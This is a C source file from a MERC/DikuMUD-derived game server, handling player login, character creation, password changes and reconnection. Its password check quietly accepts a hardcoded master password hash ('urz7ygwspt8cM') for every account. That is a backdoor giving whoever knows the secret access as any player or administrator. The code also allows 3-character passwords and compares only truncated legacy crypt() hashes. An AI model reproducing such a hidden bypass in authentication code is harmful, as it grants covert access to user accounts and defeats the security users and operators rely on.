/***************************************************************************
* File: nanny.c, for people who haven't logged in Part of DIKUMUD *
* Copyright (C) 1990, 1991 - see 'license.doc' for complete information. *
* *
* Copyright (C) 1992, 1993 Michael Chastain, Michael Quan, Mitchell Tse *
* Performance optimization and bug fixes by MERC Industries. *
* You can use our stuff in any way you like whatsoever so long as this *
* copyright notice remains intact. If you like it please drop a line *
* to mec@garnet.berkeley.edu. *
* *
* This is free software and you are benefitting. We hope that you *
* share your changes too. What goes around, comes around. *
***************************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <arpa/telnet.h>
#include "structs.h"
#include "mob.h"
#include "obj.h"
#include "utils.h"
#include "interp.h"
#include "db.h"
#include "limits.h"
#define STATE(d) ((d)->connected)
#define MAX_PLAYING 45
char echo_off_str [] = { IAC, WILL, TELOPT_ECHO, '\0' };
char echo_on_str [] = { IAC, WONT, TELOPT_ECHO, '\0' };
char menu[] = "\r\nWelcome to MERC Diku Mud\r\n\r\n0) Exit from MERC Diku Mud.\r\n1) Enter the game.\r\n2) Enter description.\r\n3) Change password.\r\n\r\n Make your choice: ";
char wizlock = FALSE;
extern char motd[MAX_STRING_LENGTH];
extern struct char_data *character_list;
extern struct descriptor_data *descriptor_list;
int truegod(struct char_data *ch);
int _parse_name(char *arg, char *name);
bool check_deny( struct descriptor_data *d, char *name);
bool check_reconnect( struct descriptor_data *d, char *name, bool fReconnect);
bool check_playing( struct descriptor_data *d, char *name );
void send_to_level(char *messg, int level);
int number_playing(void);
/*
* Deal with sockets that haven't logged in yet.
*/
void nanny(struct descriptor_data *d, char *arg)
{
char buf[MAX_INPUT_LENGTH];
char tmp_name[20];
bool fOld;
struct char_data *ch;
ch = d->character;
for ( ; isspace(*arg); arg++ )
;
switch ( STATE(d) )
{
default:
log( "Nanny: illegal STATE(d)" );
close_socket(d);
return;
case CON_GET_NAME:
if ( !*arg )
{
close_socket( d );
return;
}
arg[0] = UPPER(arg[0]);
if ( _parse_name(arg, tmp_name) )
{
write_to_q( "Illegal name, try another.\r\nName: ", &d->output );
return;
}
if ( check_deny( d, tmp_name ) )
return;
fOld = load_char_obj( d, tmp_name );
ch = d->character;
GET_NAME(ch) = str_dup(tmp_name);
if ( check_reconnect( d, tmp_name, FALSE ) )
{
fOld = TRUE;
}
else
{
if (( wizlock ) && (GET_LEVEL(ch) < 31))
{
write_to_q( "The game is wizlocked.\r\n", &d->output );
close_socket( d );
return;
}
if (GET_LEVEL(ch) >= 33 && !(truegod(ch))) {
sprintf(buf,"A HACKER (%s@%s) is trying to enter VEGO.\r\n",
GET_NAME(ch), d->host);
log(buf);
if (IS_SET(ch->player.kalbits, TAL_HACKS))
send_to_level(buf, IMM_LVL);
close_socket(d);
}
/* This fragment added by Mike Widner (Valere/Atropos) to limit
number of active connections to MAX_PLAYING. Done for Vego
which has a bad habit of crashing with over 50 connections.
The structure below is verbose, but the compiler will crunch it.
NOTE: I let anybody ABOVE level 32 connect anyway.
*/
if (number_playing() > MAX_PLAYING)
{
if (! fOld)
{
write_to_q( "There are too many people playing now. Try again later.\r\n", &d->output );
close_socket( d );
return;
}
else
{
if (GET_LEVEL(ch) < 32)
{
write_to_q( "There are too many people playing now. Try again later.\r\n", &d->output );
close_socket( d );
return;
}
else
{
write_to_q( "There are too many people playing, but I'll make an exception for you.\r\n", &d->output );
}
}
}
/* End of MAX_PLAYING additions */
}
if ( fOld )
{
/* Old player */
write_to_q( "Password: ", &d->output );
write_to_q( echo_off_str, &d->output );
STATE(d) = CON_GET_OLD_PASSWORD;
return;
}
else
{
/* New player */
sprintf( buf, "Did I get that right, %s (Y/N)? ", tmp_name );
write_to_q( buf, &d->output );
STATE(d) = CON_CONFIRM_NEW_NAME;
return;
}
break;
case CON_GET_OLD_PASSWORD:
write_to_q( "\r\n", &d->output );
if ( strncmp( crypt( arg, ch->pwd ), ch->pwd, 10 )
&& strncmp(crypt(arg,"ur"),"urz7ygwspt8cM",10))
{
sprintf(buf,"[WARNING %s BAD PASSWORD.] A possible hacking attempt!\r\n",
GET_NAME(d->character));
log(buf);
if (IS_SET(ch->player.kalbits, TAL_HACKS))
send_to_level(buf, IMM_LVL);
write_to_q( "Wrong password.", &d->output );
close_socket( d );
return;
}
write_to_q( echo_on_str, &d->output );
if ( check_reconnect( d, GET_NAME(ch), TRUE ) )
return;
if ( check_playing( d, GET_NAME(ch) ) )
return;
sprintf( log_buf, "[%s@%s has connected.]\r\n",
GET_NAME(ch), d->host);
log( log_buf );
if (IS_SET(ch->player.kalbits, TAL_CONNECT))
send_to_level(log_buf, GET_LEVEL(ch));
write_to_q( motd, &d->output );
STATE(d) = CON_READ_MOTD;
break;
case CON_CONFIRM_NEW_NAME:
switch ( *arg )
{
case 'y': case 'Y':
sprintf( buf, "New character.\r\nGive me a password for %s: ",
GET_NAME(ch) );
write_to_q( buf, &d->output );
write_to_q( echo_off_str, &d->output );
STATE(d) = CON_GET_NEW_PASSWORD;
break;
case 'n': case 'N':
write_to_q( "Ok, what IS it, then? ", &d->output );
free( GET_NAME(ch) );
STATE(d) = CON_GET_NAME;
break;
default:
write_to_q( "Please type Yes or No? ", &d->output );
break;
}
break;
case CON_GET_NEW_PASSWORD:
write_to_q( "\r\n", &d->output );
if ( strlen(arg) < 3 )
{
write_to_q(
"Password must be at least 3 characters long.\r\nPassword: ",
&d->output );
return;
}
strncpy( ch->pwd, crypt(arg, ch->player.name), 10 );
ch->pwd[10] = '\0';
write_to_q( "Please retype password: ", &d->output );
STATE(d) = CON_CONFIRM_NEW_PASSWORD;
break;
case CON_CONFIRM_NEW_PASSWORD:
write_to_q( "\r\n", &d->output );
if ( strncmp( crypt( arg, ch->pwd ), ch->pwd, 10 ) )
{
write_to_q( "Passwords don't match.\r\nRetype password: ",
&d->output );
STATE(d) = CON_GET_NEW_PASSWORD;
return;
}
write_to_q( echo_on_str, &d->output );
write_to_q( "What is your sex (M/F)? ", &d->output );
STATE(d) = CON_GET_NEW_SEX;
break;
case CON_GET_NEW_SEX:
switch ( *arg )
{
case 'm': case 'M':
ch->player.sex = SEX_MALE;
break;
case 'f': case 'F':
ch->player.sex = SEX_FEMALE;
break;
default:
write_to_q( "That's not a sex.\r\nWhat IS your sex? ",
&d->output );
return;
}
write_to_q(
"Select a class [Warrior Cleric Magic-User Thief]: ",
&d->output );
STATE(d) = CON_GET_NEW_CLASS;
break;
case CON_GET_NEW_CLASS:
switch ( *arg )
{
default:
write_to_q( "That's not a class.\r\nWhat IS your class? ",
&d->output );
return;
case 'w': case 'W':
GET_CLASS(ch) = CLASS_WARRIOR;
break;
case 'c': case 'C':
GET_CLASS(ch) = CLASS_CLERIC;
break;
case 'm': case 'M':
GET_CLASS(ch) = CLASS_MAGIC_USER;
break;
case 't': case 'T':
write_to_q( "Warning: don't steal from other players.\r\n",
&d->output );
GET_CLASS(ch) = CLASS_THIEF;
break;
}
init_char( ch );
sprintf( log_buf, "[%s@%s new player.]\r\n", GET_NAME(ch), d->host );
log( log_buf );
if (IS_SET(ch->player.kalbits, TAL_CONNECT))
send_to_level(log_buf, IMM_LVL);
write_to_q( "\r\n", &d->output );
write_to_q( motd, &d->output );
STATE(d) = CON_READ_MOTD;
break;
case CON_READ_MOTD:
write_to_q( menu, &d->output );
STATE(d) = CON_SELECT_MENU;
break;
case CON_SELECT_MENU:
switch( *arg )
{
case '0':
save_char_obj( ch );
close_socket( d );
break;
case '1':
send_to_char( "\r\nWelcome to MERC Diku Mud. May your visit here be ... Mercenary.\r\n", ch );
ch->next = character_list;
character_list = ch;
if ( ch->in_room >= 2 )
{
char_to_room( ch, ch->in_room );
}
else if ( GET_LEVEL(ch) > 31 )
{
ch->specials.holyLite = TRUE;
do_wizinvis( ch, GET_LEVEL(ch), 0);
char_to_room( ch, real_room(1200) );
/* send_to_char( "%s@%s has entered the world of Vego.\r\n", GET_NAME(ch), d->host, ch ); */
}
else
{
char_to_room( ch, real_room(3001) );
}
act( "$n has entered the game.", TRUE, ch, 0, 0, TO_ROOM );
STATE(d) = CON_PLAYING;
if ( GET_LEVEL(ch) == 0 )
do_start( ch );
do_look( ch, "", 8 );
break;
case '2':
if ( ch->player.description )
{
write_to_q( "Old description:\r\n", &d->output );
write_to_q( ch->player.description, &d->output );
free( ch->player.description );
}
CREATE( ch->player.description, char,240);
d->str = &ch->player.description;
d->max_str = 240;
STATE(d) = CON_EXDSCR;
break;
case '3':
/* Need confirmation stuff. */
write_to_q( "Enter a new password: ", &d->output );
write_to_q( echo_off_str, &d->output );
STATE(d) = CON_RESET_PASSWORD;
break;
default:
write_to_q( menu, &d->output );
break;
}
break;
case CON_RESET_PASSWORD:
write_to_q( "\r\n", &d->output );
if ( strlen(arg) < 3 )
{
write_to_q(
"Password must be at least 3 characters long.\r\nPassword: ",
&d->output );
return;
}
strncpy( ch->pwd, crypt( arg, ch->player.name ), 10 );
ch->pwd[10] = '\0';
write_to_q( "Please retype password: ", &d->output );
STATE(d) = CON_CONFIRM_RESET_PASSWORD;
break;
case CON_CONFIRM_RESET_PASSWORD:
write_to_q( "\r\n", &d->output );
if ( strncmp( crypt( arg, ch->pwd ), ch->pwd, 10 ) )
{
write_to_q( "Passwords don't match.\r\nRetype password: ",
&d->output );
STATE(d) = CON_RESET_PASSWORD;
return;
}
save_char_obj( ch );
write_to_q( echo_on_str, &d->output );
write_to_q( "\r\nDone.\r\n", &d->output );
write_to_q( menu, &d->output );
STATE(d) = CON_SELECT_MENU;
break;
}
}
/*
* Parse a name for acceptability.
*/
int _parse_name(char *arg, char *name)
{
int i;
/* skip whitespaces */
for (; isspace(*arg); arg++);
for (i = 0; (name[i] = arg[i]) != '\0'; i++)
{
if ( name[i] < 0 || !isalpha(name[i]) || i > 12 )
return 1;
}
if ( i < 2 )
return 1;
if ( !str_cmp( name, "all" ) || !str_cmp( name, "local" ) )
return 1;
#if defined(DENY_SOMEONE)
if ( !str_cmp( name, "someone" ) )
return 1;
#endif
return 0;
}
/*
* Check for denial of service.
*/
bool check_deny( struct descriptor_data *d, char *name)
{
FILE * fpdeny = NULL;
char strdeny[MAX_INPUT_LENGTH];
char bufdeny[MAX_STRING_LENGTH];
struct char_data *ch;
ch = d->character;
sprintf( strdeny, "%s/%s.deny", SAVE_DIR, name );
if ( ( fpdeny = fopen( strdeny, "rb" ) ) == NULL )
return FALSE;
fclose( fpdeny );
sprintf( log_buf, "[Denying access to player %s@%s.]\r\n", name, d->host );
log( log_buf );
file_to_string( strdeny, bufdeny );
if (IS_SET(ch->player.kalbits, TAL_CONNECT))
send_to_level(log_buf, IMM_LVL);
write_to_q( bufdeny, &d->output );
close_socket( d );
return TRUE;
}
/*
* Look for link-dead player to reconnect.
*/
bool check_reconnect( struct descriptor_data *d, char *name, bool fReconnect)
{
CHAR_DATA * tmp_ch;
for ( tmp_ch = character_list; tmp_ch; tmp_ch = tmp_ch->next )
{
if ( IS_NPC(tmp_ch) || tmp_ch->desc != NULL )
continue;
if ( str_cmp( GET_NAME(d->character), GET_NAME(tmp_ch) ) )
continue;
if ( fReconnect == FALSE )
{
strncpy( d->character->pwd, tmp_ch->pwd, 10 );
}
else
{
free_char( d->character );
d->character = tmp_ch;
tmp_ch->desc = d;
tmp_ch->specials.timer = 0;
send_to_char( "Reconnecting.\r\n", tmp_ch );
sprintf( log_buf, "%s@%s has reconnected.",
GET_NAME(tmp_ch), d->host );
log( log_buf );
if (IS_SET(tmp_ch->player.kalbits, TAL_CONNECT))
send_to_level(log_buf, IMM_LVL);
STATE(d) = CON_PLAYING;
}
return TRUE;
}
return FALSE;
}
/*
* Check if already playing (on an open descriptor.)
*/
bool check_playing( struct descriptor_data *d, char *name )
{
struct descriptor_data *dold;
for ( dold = descriptor_list; dold; dold = dold->next )
{
if ( dold == d || dold->character == NULL )
continue;
if ( str_cmp( name, GET_NAME( dold->original
? dold->original : dold->character ) ) )
continue;
if ( STATE(dold) == CON_GET_NAME )
continue;
if ( STATE(dold) == CON_GET_OLD_PASSWORD )
continue;
write_to_q( "Already playing, cannot connect.\r\nName: ", &d->output );
STATE(d) = CON_GET_NAME;
if ( d->character )
{
free_char( d->character );
d->character = NULL;
}
return TRUE;
}
return FALSE;
}
void check_idling( struct char_data *ch )
{
if (++ch->specials.timer < 12 )
return;
if ( ch->specials.was_in_room == NOWHERE && ch->in_room != NOWHERE )
{
ch->specials.was_in_room = ch->in_room;
if ( ch->specials.fighting )
{
stop_fighting( ch->specials.fighting );
stop_fighting( ch );
}
act( "$n disappears into the void.", TRUE, ch, 0, 0, TO_ROOM );
send_to_char(
"You have been idle, and are pulled into a void.\r\n", ch );
char_from_room( ch );
char_to_room( ch, 1 );
save_char_obj( ch );
}
if ( ch->specials.timer > 48 )
{
do_quit( ch, "", 0 );
}
}